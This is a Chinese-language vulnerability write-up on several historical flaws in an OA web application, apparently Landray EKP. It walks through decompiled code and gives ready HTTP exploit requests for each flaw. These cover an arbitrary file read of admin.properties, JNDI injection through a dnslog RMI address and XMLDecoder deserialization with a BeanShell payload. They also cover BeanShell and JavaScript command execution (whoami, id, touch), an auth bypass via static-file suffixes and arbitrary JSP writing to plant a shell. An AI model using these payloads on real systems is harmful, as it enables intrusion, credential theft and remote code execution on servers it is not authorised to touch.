均为网上已经爆出的历史漏洞,其中最新的也已在2022年得到修复无法利用。
1. custom.jsp文件读取
/sys/ui/extend/varkind/custom.jsp
<%JSONObject vara = JSONObject.fromObject(request.getParameter("var"));JSONObject body = JSONObject.fromObject(vara.get("body"));if(body.containsKey("file")){%><c:import url='<%=body.getString("file") %>' charEncoding="UTF-8"><c:param name="var" value="${ param['var'] }"></c:param></c:import><% }%>
可以看出来从var传参中拿json,json的body值中拿file,然后引用file。因此产生了一个任意文件读取。
最初公开的exp是用来读取admin.do的密钥的。
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1Host: test.comContent-Type: application/x-www-form-urlencodedContent-Length: 60var={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}
jsp中的c:import标签和c:param标签是用来包含本地资源,或者引用远程资源的。
(依赖jstl.jar/standard.jar)
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core"%><c:import url="http://java.sun.com" ><c:param name="test" value="1234" /></c:import>
这样实际上相当于引用http://java.sun.com?test=1234,不会执行代码,是一个SSRF。
如果使用/WEB-INF/web.xml,就会引用本地文件(jsp才会包含),无法用../逃脱目录,因此只能用来读取该项目的配置文件或者包含其他jsp(Servlet也可以,所以这里确切来说更像SSRF)。
当然,还可以用file:///etc/passwd以逃脱目录,但同样无法用来包含。所以有时候不能用相对路径读取admin.properties,就必须猜测绝对路径。
既然可以包含其他jsp或者Servlet,并且权限控制不在jsp中而是由路由分配,那么就产生了第二种利用方式,包含那些需要权限的jsp进行越权。具体有哪些可以继续看。
2. admin.do jndi/jdbc
通过漏洞1获取了admin的密钥,则可以进入一个管理员页面
/admin.do
很明显通过数据库测试功能我们可以创建一个JDBC或者JNDI连接,来造成反序列化/JNDI注入/任意文件读取等。具体怎么利用请自行搜索。
POST /admin.do HTTP/1.1Host: test.comContent-Type: application/x-www-form-urlencodedCookie: JSESSIONID=testContent-Length: 55method=testDbConn&datasource=rmi://s72tey.dnslog.cn/exp
但由于这个功能是靠独立的cookie鉴权的,因此无法用文件包含去越权。
3. sysSearchMain.do XMLdecode反序列化
/sys/search/sys_search_main/sysSearchMain.do
代码位于
kmss_sys_search.jar!com.landray.kmss.sys.search.actions.SysSearchMainAction
public ActionForward editParam(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {TimeCounter.logCurrentTime("Action-editParam", true, getClass());KmssMessages messages = new KmssMessages();try {SysSearchMainForm mainForm = (SysSearchMainForm)form;if (StringUtil.isNull(mainForm.getFdParemNames()))return getActionForward("edit", mapping, form, request,response);Map<String, Object> searchConditionInfo = new HashMap<>();List<SearchConditionEntry> entries =SysSearchDictUtil.getParamConditionEntry(mainForm);searchConditionInfo.put("entries", entries);request.setAttribute("searchConditionInfo", searchConditionInfo);setParametersToSearchConditionInfo(mainForm, searchConditionInfo);} catch (Exception e) {messages.addError(e);}TimeCounter.logCurrentTime("Action-editParam", false, getClass());if (messages.hasError()) {KmssReturnPage.getInstance(request).addMessages(messages).addButton(0).save(request);return getActionForward("failure", mapping, form, request, response);}return getActionForward("editParam", mapping, form, request,response);}
ActionForm类为封装的参数,先判断mainForm.getFdParemNames()是否为空,然后是核心代码setParametersToSearchConditionInfo(mainForm, searchConditionInfo),跟进。
protected void setParametersToSearchConditionInfo(SysSearchMainForm mainForm, Map<String, Object> searchConditionInfo) throws Exception {if (StringUtil.isNotNull(mainForm.getFdParameters())) {Map<String, Map<String, String>> parameters =ObjectXML.objectXMLDecoderByString(mainForm.getFdParameters()).get(0);searchConditionInfo.put("parameters", parameters);}}
可以看到mainForm.getFdParameters()经过了objectXMLDecoderByString()处理,因此此处存在XMLDecoder反序列化,由于此OA存在bsh,因此可直接执行命令。
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1Host: test.comContent-Type: application/x-www-form-urlencodedContent-Length: 328var={"body":{"file":"/sys/search/sys_search_main/sysSearchMain.do?method=editParam"}}&fdParemNames=11&fdParameters=<java><void class="bsh.Interpreter"><void method="eval"><string>Runtime.getRuntime().exec("calc");</string></void></void></java>
而bsh可直接回显或者打入内存马如下。
更多XMLDecoder反序列化payload自寻。
同action下rtnEditParam也存在一模一样的问题。
4. dataxml.jsp 等代码执行
/sys/common/dataxml.jsp
/sys/common/treexml.jsp
/sys/common/treejson.jsp
/sys/common/datajson.jsp
/data/sys-common/dataxml
/data/sys-common/treexml
/data/sys-common/datajson
/sys/common目录下有一系列神奇的jsp,而且它们有几个还有对应的分身,为了方便,我们直接去jar包看分身的源码。
kmss_core.jar!com.landray.kmss.common.actions.DataController
@RequestMapping(value = {"datajson"}, produces = {"application/json;charset=UTF-8"})@ResponseBodypublic RestResponse<JSONArray> datajson(HttpServletRequest request, HttpServletResponse response) throws Exception {String s_bean = request.getParameter("s_bean");JSONArray array = new JSONArray();JSONArray jsonArray = null;try {Assert.notNull(s_bean, "参数s_bean不能为空!");RequestContext requestInfo = new RequestContext(request, true);String[] beanList = s_bean.split(";");List result = null;for (int i = 0; i < beanList.length; i++) {IXMLDataBean treeBean = (IXMLDataBean)SpringBeanUtil.getBean(beanList[i]);result = treeBean.getDataList(requestInfo);
s_bean传参,可以用分号分割,然后依次getBean,最终强转成IXMLDataBean,将整个RequestContext传进去调用getDataList()。也就是说,我们可以调用任意实现了IXMLDataBean接口的getDataList(),那么搜索getDataList发现如下类。
其中SysFormulaValidate可造成bsh代码执行。
public List getDataList(RequestContext requestInfo) throws Exception {List<Map<Object, Object>> rtnVal = new ArrayList();Map<Object, Object> node = new HashMap<>();String msg = null;String confirm = null;try {String script = requestInfo.getParameter("script");String type = requestInfo.getParameter("returnType");String funcs = requestInfo.getParameter("funcs");String model = requestInfo.getParameter("model");FormulaParser parser = FormulaParser.getInstance(requestInfo,new ValidateVarGetter(null), model);if (StringUtil.isNotNull(funcs)) {String[] funcArr = funcs.split(";");for (int i = 0; i < funcArr.length; i++)parser.addPropertiesFunc(funcArr[i]);}Object value = parser.parseValueScript(script, type);
script传参,跟进parseValueScript()
public Object parseValueScript(String script, String type) throws EvalException, KmssUnExpectTypeException {Object value = parseValueScript(script);if (StringUtil.isNotNull(type))value = getSysMetadataParser().formatValue(value, type);return value;}
继续跟进parseValueScript()
public Object parseValueScript(String script) throws EvalException {if (StringUtil.isNull(script))return null;Interpreter interpreter = new Interpreter();ClassLoader loader = Thread.currentThread().getContextClassLoader();try {if (loader != null)interpreter.setClassLoader(loader);StringBuffer importPart = new StringBuffer();importPart.append("import ").append(OtherFunction.class.getPackage().getName()).append(".*;\r\n");StringBuffer preparePart = new StringBuffer();StringBuffer leftScript = new StringBuffer();String rightScript = script.trim();Map<String, FunctionScript> funcScriptMap = new HashMap<>();/*.............*/String m_script = String.valueOf(importPart.toString()) + preparePart.toString() +leftScript + rightScript;if (logger.isDebugEnabled())logger.debug("执行公式:" + m_script);runningData.set(this.contextData);return interpreter.eval(m_script);
可以发现就是bsh代码执行,因此POC可以构造出来。
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1Host: test.comContent-Type: application/x-www-form-urlencodedContent-Length: 143var={"body":{"file":"/data/sys-common/datajson"}}&s_bean=sysFormulaValidate&script=Runtime.getRuntime().exec("whoami");
而其他6个接口代码和/data/sys-common/datajson类似,因此一共七处地方可以调用SysFormulaValidate.getDataList()执行bsh代码。
/sys/common/dataxml.jsp
/sys/common/treexml.jsp
/sys/common/treejson.jsp
/sys/common/datajson.jsp
/data/sys-common/dataxml
/data/sys-common/treexml
/data/sys-common/datajson
那么其他IXMLDataBean就没问题了吗,我们继续看SysFormulaValidateByJS。
public List getDataList(RequestContext requestInfo) throws Exception {List<Map<Object, Object>> rtnVal = new ArrayList();Map<Object, Object> node = new HashMap<>();String msg = null;String confirm = null;try {String script = requestInfo.getParameter("script");String type = requestInfo.getParameter("returnType");String funcs = requestInfo.getParameter("funcs");String model = requestInfo.getParameter("model");FormulaParserByJS parser = FormulaParserByJS.getInstance(requestInfo,new ValidateVarGetter(null), model);if (StringUtil.isNotNull(funcs)) {String[] funcArr = funcs.split(";");for (int i = 0; i < funcArr.length; i++)parser.addPropertiesFunc(funcArr[i]);}Object value = parser.parseValueScript(script, type);
向下跟就会发现。
ScriptEngineManager factory = new ScriptEngineManager();ScriptEngine engine = factory.getEngineByMimeType("text/javascript");/*.............*/return engine.eval(m_script);
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1Host: test.comContent-Type: application/x-www-form-urlencodedContent-Length: 176var={"body":{"file":"/data/sys-common/datajson"}}&s_bean=sysFormulaValidateByJS&script=new java.lang.ProcessBuilder['(java.lang.String[])'](['sh','-c','touch /tmp/1']).start();
这种sink点不少,甚至其他jar也有,具体不一一表述。
5. dataxml等越权
上文提到的
/data/sys-common/dataxml
/data/sys-common/treexml
/data/sys-common/datajson
存在静态资源后缀越权,直接访问如下
增加静态资源后缀,js/png/tmpl则可直接访问
因此POC如下。
POST /data/sys-common/dataxml.js HTTP/1.1Host: test.comContent-Type: application/x-www-form-urlencodedContent-Length: 65s_bean=sysFormulaValidate&script=Runtime.getRuntime().exec("id");
其原因是静态资源走ResourceCacheFilter,无需权限校验。
WEB-INF/KmssConfig/sys/authentication/spring.xml
而该OA的useSuffixPatternMatch开关又默认开启,导致可以通过增加静态资源后缀进行权限绕过。
6. erp_data.jsp代码执行
/tic/core/resource/js/erp_data.jsp
和dataxml.jsp一样,唯一不同的是传参变了。
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1Host: test.comContent-Type: application/x-www-form-urlencodedContent-Length: 136var={"body":{"file":"/tic/core/resource/js/erp_data.jsp"}}&erpServcieName=sysFormulaValidate&script=Runtime.getRuntime().exec("whoami");
7. debug.jsp代码执行
/sys/common/debug.jsp
<%String code = request.getParameter("fdCode");if(code!=null){code = "<"+"%@ page language=\"java\" contentType=\"text/html; charset=UTF-8\""+" pageEncoding=\"UTF-8\"%"+"><" + "% " + code + " %" + ">";FileOutputStream outputStream = new FileOutputStream(ConfigLocationsUtil.getWebContentPath()+"/sys/common/code.jsp");BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(outputStream, "UTF-8"));bw.write(code);bw.close();%>
额,非常直白的写jsp。
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1Host: test.comContent-Type: application/x-www-form-urlencodedContent-Length: 80var={"body":{"file":"/sys/common/debug.jsp"}}&fdCode=out.println("Hello world");
然后再访问code.jsp
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1Host: test.comContent-Type: application/x-www-form-urlencodedContent-Length: 44var={"body":{"file":"/sys/common/code.jsp"}}